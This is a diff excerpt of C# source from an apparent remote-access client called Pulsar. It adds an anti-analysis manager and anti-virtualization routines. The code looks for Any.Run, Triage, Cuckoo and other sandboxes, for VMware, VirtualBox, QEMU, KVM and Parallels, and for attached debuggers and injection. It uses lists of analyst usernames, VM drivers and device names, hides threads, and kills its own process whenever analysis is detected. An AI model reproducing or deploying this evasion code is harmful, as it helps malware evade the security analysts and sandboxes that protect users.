return ChangeModuleInfo(CLR, Spoofs.ImageMagic);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Detects ImageBaseAddress modification which could indicate code injection in our process (process hollowing).
|
||||
/// </summary>
|
||||
/// <returns>Returns true if the ImageBaseAddress is suspicious, otherwise false.</returns>
|
||||
public static bool CheckForSuspiciousBaseAddress()
|
||||
{
|
||||
try
|
||||
{
|
||||
PEB Peb = Utils.GetPEB();
|
||||
if (Peb.ImageBaseAddress != Process.GetCurrentProcess().MainModule.BaseAddress)
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,352 @@
|
||||
using Pulsar.Client.Anti.Debugger;
|
||||
using Pulsar.Client.Anti.Injection;
|
||||
using Pulsar.Client.Anti.VM;
|
||||
using Pulsar.Client.Config;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//copy pasted / slightly edited from https://github.com/AdvDebug/AntiCrack-DotNet
|
||||
|
||||
namespace Pulsar.Client.Anti
|
||||
{
|
||||
public class Manager
|
||||
{
|
||||
private static bool _debugMode = false;
|
||||
|
||||
public static bool DebugMode
|
||||
{
|
||||
get => _debugMode;
|
||||
set => _debugMode = value;
|
||||
}
|
||||
|
||||
private struct DetectionMethod<T>
|
||||
{
|
||||
public T Method;
|
||||
public string Name;
|
||||
public string Description;
|
||||
|
||||
public DetectionMethod(T method, string name, string description)
|
||||
{
|
||||
Method = method;
|
||||
Name = name;
|
||||
Description = description;
|
||||
}
|
||||
}
|
||||
|
||||
private static void LogDebug(string message)
|
||||
{
|
||||
if (DebugMode)
|
||||
{
|
||||
Debug.WriteLine($"[DEBUG] {DateTime.Now:HH:mm:ss.fff} - {message}");
|
||||
}
|
||||
}
|
||||
|
||||
private static void LogDetection(string detectionType, string methodName, string description)
|
||||
{
|
||||
Debug.WriteLine($"[DETECTION] {DateTime.Now:HH:mm:ss.fff} - {detectionType} detected by '{methodName}': {description}");
|
||||
}
|
||||
|
||||
private static void CheckVirtualization()
|
||||
{
|
||||
LogDebug("Starting virtualization detection checks...");
|
||||
|
||||
var vmChecks = new List<DetectionMethod<Func<bool>>>
|
||||
{
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.AnyRunCheck, "AnyRunCheck", "Any.Run sandbox environment"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.TriageCheck, "TriageCheck", "Triage sandbox environment"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForQemu, "CheckForQemu", "QEMU virtualization"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForParallels, "CheckForParallels", "Parallels virtualization"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.IsSandboxiePresent, "IsSandboxiePresent", "Sandboxie sandbox"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.IsComodoSandboxPresent, "IsComodoSandboxPresent", "Comodo sandbox"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.IsCuckooSandboxPresent, "IsCuckooSandboxPresent", "Cuckoo sandbox"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.IsQihoo360SandboxPresent, "IsQihoo360SandboxPresent", "Qihoo 360 sandbox"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForBlacklistedNames, "CheckForBlacklistedNames", "Blacklisted VM/sandbox names"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForVMwareAndVirtualBox, "CheckForVMwareAndVirtualBox", "VMware or VirtualBox"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForKVM, "CheckForKVM", "KVM virtualization"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.BadVMFilesDetection, "BadVMFilesDetection", "VM-specific files"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.BadVMProcessNames, "BadVMProcessNames", "VM-specific processes"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckDevices, "CheckDevices", "VM-specific devices"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.EmulationTimingCheck, "EmulationTimingCheck", "Emulation timing anomalies"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.PortConnectionAntiVM, "PortConnectionAntiVM", "VM-specific port connections"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.AVXInstructions, "AVXInstructions", "AVX instruction emulation"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.RDRANDInstruction, "RDRANDInstruction", "RDRAND instruction emulation"),
|
||||
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.FlagsManipulationInstructions, "FlagsManipulationInstructions", "Flag manipulation instruction emulation")
|
||||
};
|
||||
|
||||
int totalChecks = vmChecks.Count;
|
||||
int currentCheck = 0;
|
||||
|
||||
foreach (var vmCheck in vmChecks)
|
||||
{
|
||||
currentCheck++;
|
||||
try
|
||||
{
|
||||
LogDebug($"Running VM check {currentCheck}/{totalChecks}: {vmCheck.Name}");
|
||||
|
||||
if (vmCheck.Method())
|
||||
{
|
||||
LogDetection("VIRTUALIZATION", vmCheck.Name, vmCheck.Description);
|
||||
Debug.WriteLine($"[FATAL] Process terminating due to virtualization detection - Exiting...");
|
||||
Process.GetCurrentProcess().Kill();
|
||||
}
|
||||
else
|
||||
{
|
||||
LogDebug($"VM check {vmCheck.Name} passed");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
LogDebug($"VM check {vmCheck.Name} failed with exception: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
LogDebug($"All {totalChecks} virtualization checks completed successfully");
|
||||
}
|
||||
|
||||
private static void CheckInjection()
|
||||
{
|
||||
LogDebug("Starting injection detection checks in background thread...");
|
||||
|
||||
var injectionChecks = new List<DetectionMethod<Func<bool>>>
|
||||
{
|
||||
new DetectionMethod<Func<bool>>(AntiInjection.CheckInjectedThreads, "CheckInjectedThreads", "Injected threads detection"),
|
||||
//new DetectionMethod<Func<bool>>(AntiInjection.ChangeCLRModuleImageMagic, "ChangeCLRModuleImageMagic", "CLR module image magic modification"),
|
||||
new DetectionMethod<Func<bool>>(AntiInjection.CheckForSuspiciousBaseAddress, "CheckForSuspiciousBaseAddress", "Suspicious base address (process hollowing)")
|
||||
};
|
||||
|
||||
int cycleCount = 0;
|
||||
|
||||
while (true)
|
||||
{
|
||||
cycleCount++;
|
||||
LogDebug($"Starting injection detection cycle #{cycleCount}");
|
||||
|
||||
int totalChecks = injectionChecks.Count;
|
||||
int currentCheck = 0;
|
||||
|
||||
foreach (var injectionCheck in injectionChecks)
|
||||
{
|
||||
currentCheck++;
|
||||
try
|
||||
{
|
||||
LogDebug($"Running injection check {currentCheck}/{totalChecks}: {injectionCheck.Name}");
|
||||
|
||||
if (injectionCheck.Method())
|
||||
{
|
||||
LogDetection("INJECTION", injectionCheck.Name, injectionCheck.Description);
|
||||
Debug.WriteLine($"[FATAL] Process terminating due to injection detection - Exiting...");
|
||||
Process.GetCurrentProcess().Kill();
|
||||
}
|
||||
else
|
||||
{
|
||||
LogDebug($"Injection check {injectionCheck.Name} passed");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
LogDebug($"Injection check {injectionCheck.Name} failed with exception: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
LogDebug($"Injection detection cycle #{cycleCount} completed successfully");
|
||||
|
||||
int randomSleep = new Random().Next(1000, 5000);
|
||||
LogDebug($"Sleeping for {randomSleep}ms before next injection check cycle");
|
||||
Thread.Sleep(randomSleep);
|
||||
}
|
||||
}
|
||||
|
||||
private static void CheckDebugger()
|
||||
{
|
||||
LogDebug("Starting debugger detection checks in background thread...");
|
||||
|
||||
var debugDetections = new List<DetectionMethod<Func<bool>>>
|
||||
{
|
||||
//new DetectionMethod<Func<bool>>(AntiDebug.NtUserGetForegroundWindowAntiDebug, "NtUserGetForegroundWindowAntiDebug", "Debugger window in foreground"),
|
||||
new DetectionMethod<Func<bool>>(AntiDebug.DebuggerIsAttached, "DebuggerIsAttached", "Managed debugger attached"),
|
||||
new DetectionMethod<Func<bool>>(AntiDebug.IsDebuggerPresentCheck, "IsDebuggerPresentCheck", "Native debugger present"),
|
||||
new DetectionMethod<Func<bool>>(AntiDebug.BeingDebuggedCheck, "BeingDebuggedCheck", "PEB BeingDebugged flag set"),
|
||||
new DetectionMethod<Func<bool>>(AntiDebug.NtGlobalFlagCheck, "NtGlobalFlagCheck", "NtGlobalFlag indicates debugging"),
|
||||
new DetectionMethod<Func<bool>>(AntiDebug.NtSetDebugFilterStateAntiDebug, "NtSetDebugFilterStateAntiDebug", "Debug filter state manipulation"),
|
||||
new DetectionMethod<Func<bool>>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugFlags, "NtQueryInformationProcessCheck_ProcessDebugFlags", "Process debug flags set"),
|
||||
new DetectionMethod<Func<bool>>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugPort, "NtQueryInformationProcessCheck_ProcessDebugPort", "Debug port detected"),
|
||||
new DetectionMethod<Func<bool>>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugObjectHandle, "NtQueryInformationProcessCheck_ProcessDebugObjectHandle", "Debug object handle detected"),
|
||||
new DetectionMethod<Func<bool>>(AntiDebug.NtCloseAntiDebug_InvalidHandle, "NtCloseAntiDebug_InvalidHandle", "Invalid handle debugging technique"),
|
||||
new DetectionMethod<Func<bool>>(AntiDebug.NtCloseAntiDebug_ProtectedHandle, "NtCloseAntiDebug_ProtectedHandle", "Protected handle debugging technique"),
|
||||
new DetectionMethod<Func<bool>>(AntiDebug.HardwareRegistersBreakpointsDetection, "HardwareRegistersBreakpointsDetection", "Hardware breakpoints detected"),
|
||||
new DetectionMethod<Func<bool>>(AntiDebug.FindWindowAntiDebug, "FindWindowAntiDebug", "Known debugger windows detected")
|
||||
};
|
||||
|
||||
int cycleCount = 0;
|
||||
|
||||
while (true)
|
||||
{
|
||||
cycleCount++;
|
||||
LogDebug($"Starting debugger detection cycle #{cycleCount}");
|
||||
|
||||
try
|
||||
{
|
||||
LogDebug("Executing HideThreadsAntiDebug");
|
||||
AntiDebug.HideThreadsAntiDebug();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
LogDebug($"HideThreadsAntiDebug failed with exception: {ex.Message}");
|
||||
}
|
||||
|
||||
int totalChecks = debugDetections.Count;
|
||||
int currentCheck = 0;
|
||||
|
||||
foreach (var debugCheck in debugDetections)
|
||||
{
|
||||
currentCheck++;
|
||||
try
|
||||
{
|
||||
LogDebug($"Running debug check {currentCheck}/{totalChecks}: {debugCheck.Name}");
|
||||
|
||||
if (debugCheck.Method())
|
||||
{
|
||||
LogDetection("DEBUGGER", debugCheck.Name, debugCheck.Description);
|
||||
Debug.WriteLine($"[FATAL] Process terminating due to debugger detection - Exiting...");
|
||||
Process.GetCurrentProcess().Kill();
|
||||
}
|
||||
else
|
||||
{
|
||||
LogDebug($"Debug check {debugCheck.Name} passed");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
LogDebug($"Debug check {debugCheck.Name} failed with exception: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
LogDebug($"Debugger detection cycle #{cycleCount} completed successfully");
|
||||
|
||||
int randomSleep = new Random().Next(1000, 5000);
|
||||
LogDebug($"Sleeping for {randomSleep}ms before next debugger check cycle");
|
||||
Thread.Sleep(randomSleep);
|
||||
}
|
||||
}
|
||||
|
||||
public static void StartAnti()
|
||||
{
|
||||
LogDebug($"[ANTI] Starting Anti-Analysis protection systems at {DateTime.Now:yyyy-MM-dd HH:mm:ss}");
|
||||
LogDebug($"Debug mode is {(DebugMode ? "ENABLED" : "DISABLED")}");
|
||||
|
||||
LogSystemInfo();
|
||||
|
||||
if (Settings.ANTIVM)
|
||||
{
|
||||
LogDebug("[ANTI] Anti-VM protection enabled - Checking for virtualization environments...");
|
||||
LogDebug("ANTIVM setting is enabled, starting virtualization checks");
|
||||
try
|
||||
{
|
||||
CheckVirtualization();
|
||||
LogDebug("[ANTI] No virtualization detected - Anti-VM checks passed");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
LogDebug($"CheckVirtualization failed with exception: {ex.Message}");
|
||||
LogDebug("[ERROR] Anti-VM checks encountered an error but continuing...");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
LogDebug("ANTIVM setting is disabled, skipping virtualization checks");
|
||||
}
|
||||
|
||||
if (Settings.ANTIDEBUG)
|
||||
{
|
||||
LogDebug("[ANTI] Anti-Debug protection enabled - Starting background monitoring threads...");
|
||||
LogDebug("ANTIDEBUG setting is enabled, starting background detection threads");
|
||||
|
||||
try
|
||||
{
|
||||
LogDebug("Starting injection detection thread");
|
||||
Task.Factory.StartNew(() => CheckInjection(), TaskCreationOptions.LongRunning);
|
||||
LogDebug("[ANTI] Injection detection thread started");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
LogDebug($"Failed to start injection detection thread: {ex.Message}");
|
||||
LogDebug("[ERROR] Failed to start injection detection thread");
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
LogDebug("Starting debugger detection thread");
|
||||
Task.Factory.StartNew(() => CheckDebugger(), TaskCreationOptions.LongRunning);
|
||||
LogDebug("[ANTI] Debugger detection thread started");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
LogDebug($"Failed to start debugger detection thread: {ex.Message}");
|
||||
LogDebug("[ERROR] Failed to start debugger detection thread");
|
||||
}
|
||||
|
||||
LogDebug("[ANTI] Anti-Debug background monitoring is now active");
|
||||
}
|
||||
else
|
||||
{
|
||||
LogDebug("ANTIDEBUG setting is disabled, skipping debug detection");
|
||||
}
|
||||
|
||||
LogDebug("[ANTI] Anti-Analysis protection initialization complete");
|
||||
LogDebug($"[ANTI] Protection Status: {GetProtectionStatus()}");
|
||||
LogDebug("StartAnti() completed successfully");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Toggle debug mode on/off during runtime
|
||||
/// </summary>
|
||||
/// <param name="enabled">True to enable debug logging, false to disable</param>
|
||||
public static void SetDebugMode(bool enabled)
|
||||
{
|
||||
DebugMode = enabled;
|
||||
LogDebug($"[ANTI] Debug mode {(enabled ? "ENABLED" : "DISABLED")}");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get status of anti-protection systems
|
||||
/// </summary>
|
||||
/// <returns>Status string</returns>
|
||||
public static string GetProtectionStatus()
|
||||
{
|
||||
return $"Anti-VM: {(Settings.ANTIVM ? "ENABLED" : "DISABLED")}, " +
|
||||
$"Anti-Debug: {(Settings.ANTIDEBUG ? "ENABLED" : "DISABLED")}, " +
|
||||
$"Debug Mode: {(DebugMode ? "ENABLED" : "DISABLED")}";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Log system information for debugging purposes
|
||||
/// </summary>
|
||||
public static void LogSystemInfo()
|
||||
{
|
||||
if (!DebugMode) return;
|
||||
|
||||
try
|
||||
{
|
||||
LogDebug("=== SYSTEM INFORMATION ===");
|
||||
LogDebug($"OS Version: {Environment.OSVersion}");
|
||||
LogDebug($"CLR Version: {Environment.Version}");
|
||||
LogDebug($"Process Name: {Process.GetCurrentProcess().ProcessName}");
|
||||
LogDebug($"Process ID: {Process.GetCurrentProcess().Id}");
|
||||
LogDebug($"Is 64-bit Process: {Environment.Is64BitProcess}");
|
||||
LogDebug($"Is 64-bit OS: {Environment.Is64BitOperatingSystem}");
|
||||
LogDebug($"Machine Name: {Environment.MachineName}");
|
||||
LogDebug($"User Name: {Environment.UserName}");
|
||||
LogDebug($"Working Set: {Environment.WorkingSet} bytes");
|
||||
LogDebug("=== END SYSTEM INFORMATION ===");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
LogDebug($"Failed to log system information: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,562 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Management;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using Microsoft.Win32;
|
||||
using Pulsar.Client.Anti.Helper;
|
||||
using static Pulsar.Client.Anti.Helper.Delegates;
|
||||
|
||||
namespace Pulsar.Client.Anti.VM
|
||||
{
|
||||
public class AntiVirtualization
|
||||
{
|
||||
|
||||
#region WinApi
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
private static extern void RtlInitUnicodeString(out Structs.UNICODE_STRING DestinationString, string SourceString);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
|
||||
private static extern void RtlUnicodeStringToAnsiString(out Structs.ANSI_STRING DestinationString, Structs.UNICODE_STRING UnicodeString, bool AllocateDestinationString);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern uint LdrGetDllHandleEx(ulong Flags, [MarshalAs(UnmanagedType.LPWStr)] string DllPath, [MarshalAs(UnmanagedType.LPWStr)] string DllCharacteristics, Structs.UNICODE_STRING LibraryName, ref IntPtr DllHandle);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetModuleHandleA(string Library);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
|
||||
private static extern uint LdrGetProcedureAddressForCaller(IntPtr Module, Structs.ANSI_STRING ProcedureName, ushort ProcedureNumber, out IntPtr FunctionHandle, ulong Flags, IntPtr CallBack);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern bool IsProcessCritical(SafeHandle hProcess, ref bool BoolToCheck);
|
||||
|
||||
[DllImport("ucrtbase.dll", SetLastError = true)]
|
||||
private static extern IntPtr fopen(string filename, string mode);
|
||||
|
||||
[DllImport("ucrtbase.dll", SetLastError = true)]
|
||||
private static extern int fclose(IntPtr filestream);
|
||||
|
||||
#endregion
|
||||
|
||||
/// <summary>
|
||||
/// Checks if Sandboxie is present on the system.
|
||||
/// </summary>
|
||||
/// <returns>True if Sandboxie is detected, otherwise false.</returns>
|
||||
public static bool IsSandboxiePresent()
|
||||
{
|
||||
if (Utils.LowLevelGetModuleHandle("SbieDll.dll").ToInt32() != 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if Comodo Sandbox is present on the system.
|
||||
/// </summary>
|
||||
/// <returns>True if Comodo Sandbox is detected, otherwise false.</returns>
|
||||
public static bool IsComodoSandboxPresent()
|
||||
{
|
||||
if (Utils.LowLevelGetModuleHandle("cmdvrt32.dll").ToInt32() != 0 || Utils.LowLevelGetModuleHandle("cmdvrt64.dll").ToInt32() != 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if Qihoo 360 Sandbox is present on the system.
|
||||
/// </summary>
|
||||
/// <returns>True if Qihoo 360 Sandbox is detected, otherwise false.</returns>
|
||||
public static bool IsQihoo360SandboxPresent()
|
||||
{
|
||||
if (Utils.LowLevelGetModuleHandle("SxIn.dll").ToInt32() != 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if Cuckoo Sandbox is present on the system.
|
||||
/// </summary>
|
||||
/// <returns>True if Cuckoo Sandbox is detected, otherwise false.</returns>
|
||||
public static bool IsCuckooSandboxPresent()
|
||||
{
|
||||
if (Utils.LowLevelGetModuleHandle("cuckoomon.dll").ToInt32() != 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the environment is running in VMware or VirtualBox.
|
||||
/// </summary>
|
||||
/// <returns>True if VMware or VirtualBox is detected, otherwise false.</returns>
|
||||
public static bool CheckForVMwareAndVirtualBox()
|
||||
{
|
||||
try
|
||||
{
|
||||
// Check registry for VM indicators (more reliable than WMI)
|
||||
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\BIOS"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
var biosVersion = key.GetValue("BIOSVersion")?.ToString();
|
||||
var systemManufacturer = key.GetValue("SystemManufacturer")?.ToString();
|
||||
var systemProductName = key.GetValue("SystemProductName")?.ToString();
|
||||
|
||||
if (biosVersion != null && (biosVersion.Contains("VMware") || biosVersion.Contains("VirtualBox") || biosVersion.Contains("VBOX")))
|
||||
return true;
|
||||
if (systemManufacturer != null && (systemManufacturer.Contains("VMware") || systemManufacturer.Contains("innotek")))
|
||||
return true;
|
||||
if (systemProductName != null && (systemProductName.Contains("VMware") || systemProductName.Contains("VirtualBox")))
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
// Check for VMware tools registry
|
||||
using (var vmwareKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\VMware, Inc.\VMware Tools"))
|
||||
{
|
||||
if (vmwareKey != null)
|
||||
return true;
|
||||
}
|
||||
|
||||
// Check for VirtualBox registry
|
||||
using (var vboxKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Oracle\VirtualBox Guest Additions"))
|
||||
{
|
||||
if (vboxKey != null)
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Registry access failed, assume not VM
|
||||
}
|
||||
|
||||
// Fallback to WMI if registry checks fail
|
||||
try
|
||||
{
|
||||
using (ManagementObjectSearcher ObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
|
||||
{
|
||||
using (ManagementObjectCollection ObjectItems = ObjectSearcher.Get())
|
||||
{
|
||||
foreach (ManagementBaseObject Item in ObjectItems)
|
||||
{
|
||||
string ManufacturerString = Item["Manufacturer"].ToString().ToLower();
|
||||
string ModelName = Item["Model"].ToString();
|
||||
if ((ManufacturerString == "microsoft corporation" && Utils.Contains(ModelName.ToUpperInvariant(), "VIRTUAL") || Utils.Contains(ManufacturerString, "vmware")))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// WMI not available, assume not VM
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the environment is running in KVM.
|
||||
/// </summary>
|
||||
/// <returns>True if KVM is detected, otherwise false.</returns>
|
||||
public static bool CheckForKVM()
|
||||
{
|
||||
string[] BadDriversList = { "balloon.sys", "netkvm.sys", "vioinput", "viofs.sys", "vioser.sys" };
|
||||
string driversPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers");
|
||||
foreach (string driver in Directory.GetFiles(driversPath, "*"))
|
||||
{
|
||||
foreach (string badDriver in BadDriversList)
|
||||
{
|
||||
if (Path.GetFileName(driver).IndexOf(badDriver, StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the current user name matches any blacklisted names.
|
||||
/// </summary>
|
||||
/// <returns>True if a blacklisted name is detected, otherwise false.</returns>
|
||||
public static bool CheckForBlacklistedNames()
|
||||
{
|
||||
string[] BadNames = { "Johnson", "Miller", "malware", "maltest", "CurrentUser", "Sandbox", "virus", "John Doe", "test user", "sand box", "WDAGUtilityAccount" };
|
||||
string Username = Environment.UserName.ToLower();
|
||||
foreach (string BadUsernames in BadNames)
|
||||
{
|
||||
if (Username == BadUsernames.ToLower())
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Detects bad VM-related files and directories on the system.
|
||||
/// </summary>
|
||||
/// <returns>True if bad VM-related files or directories are detected, otherwise false.</returns>
|
||||
public static bool BadVMFilesDetection()
|
||||
{
|
||||
try
|
||||
{
|
||||
string[] badFiles = { "balloon.sys", "VBoxMouse.sys", "netkvm.sys", "VBoxGuest.sys", "VBoxSF.sys", "VBoxVideo.sys", "vmmouse.sys"};
|
||||
string[] badDirs = { @"C:\Program Files\VMware", @"C:\Program Files\Oracle\VirtualBox Guest Additions" };
|
||||
string driversPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers");
|
||||
|
||||
foreach (string file in Directory.GetFiles(driversPath))
|
||||
{
|
||||
if (badFiles.Any(badFile => Path.GetFileName(file).Equals(badFile, StringComparison.OrdinalIgnoreCase)))
|
||||
return true;
|
||||
}
|
||||
|
||||
return badDirs.Any(dir => Directory.Exists(dir));
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Checks for the presence of bad VM-related process names.
|
||||
/// </summary>
|
||||
/// <returns>True if bad VM-related process names are detected, otherwise false.</returns>
|
||||
public static bool BadVMProcessNames()
|
||||
{
|
||||
try
|
||||
{
|
||||
string[] BadProcessNames = { "vboxservice", "VGAuthService", "vmusrvc", "qemu-ga" };
|
||||
foreach (Process Processes in Process.GetProcesses())
|
||||
{
|
||||
foreach (string BadProcessName in BadProcessNames)
|
||||
{
|
||||
if (Processes.ProcessName == BadProcessName)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks for VM-related device names.
|
||||
/// </summary>
|
||||
/// <returns>True if VM-related device names are detected, otherwise false.</returns>
|
||||
public static bool CheckDevices()
|
||||
{
|
||||
string[] Devices = { "\\\\.\\pipe\\cuckoo", "\\\\.\\HGFS", "\\\\.\\vmci", "\\\\.\\VBoxMiniRdrDN", "\\\\.\\VBoxGuest", "\\\\.\\pipe\\VBoxMiniRdDN", "\\\\.\\VBoxTrayIPC", "\\\\.\\pipe\\VBoxTrayIPC" };
|
||||
foreach (string Device in Devices)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr File = fopen(Device, "r");
|
||||
if (File != IntPtr.Zero)
|
||||
{
|
||||
fclose(File);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
continue;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the environment is running in Parallels.
|
||||
/// </summary>
|
||||
/// <returns>True if Parallels is detected, otherwise false.</returns>
|
||||
public static bool CheckForParallels()
|
||||
{
|
||||
string[] BadDriversList = { "prl_sf", "prl_tg", "prl_eth" };
|
||||
foreach (string Drivers in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.System), "*"))
|
||||
{
|
||||
foreach (string BadDrivers in BadDriversList)
|
||||
{
|
||||
if (Utils.Contains(Drivers, BadDrivers))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks for specific disk drive models that indicate a virtual environment.
|
||||
/// </summary>
|
||||
/// <returns>True if specific disk drive models are detected, otherwise false.</returns>
|
||||
public static bool TriageCheck()
|
||||
{
|
||||
try
|
||||
{
|
||||
// Check registry for disk information (more reliable than WMI)
|
||||
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"HARDWARE\DEVICEMAP\Scsi"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
foreach (var subKeyName in key.GetSubKeyNames())
|
||||
{
|
||||
using (var subKey = key.OpenSubKey(subKeyName))
|
||||
{
|
||||
if (subKey != null)
|
||||
{
|
||||
foreach (var portKeyName in subKey.GetSubKeyNames())
|
||||
{
|
||||
using (var portKey = subKey.OpenSubKey(portKeyName))
|
||||
{
|
||||
if (portKey != null)
|
||||
{
|
||||
var identifier = portKey.GetValue("Identifier")?.ToString();
|
||||
if (!string.IsNullOrEmpty(identifier) &&
|
||||
(identifier.Contains("DADY HARDDISK") || identifier.Contains("QEMU HARDDISK")))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Registry access failed, assume not VM
|
||||
}
|
||||
|
||||
// Fallback to WMI if registry checks fail
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_DiskDrive"))
|
||||
{
|
||||
foreach (var item in searcher.Get())
|
||||
{
|
||||
string model = item["Model"].ToString();
|
||||
if (Utils.Contains(model, "DADY HARDDISK") || Utils.Contains(model, "QEMU HARDDISK"))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// WMI not available, assume not VM
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks for specific Machine GUIDs that indicate a virtual environment in Any.Run.
|
||||
/// </summary>
|
||||
/// <returns>True if specific Machine GUIDs are detected, otherwise false.</returns>
|
||||
public static bool AnyRunCheck()
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
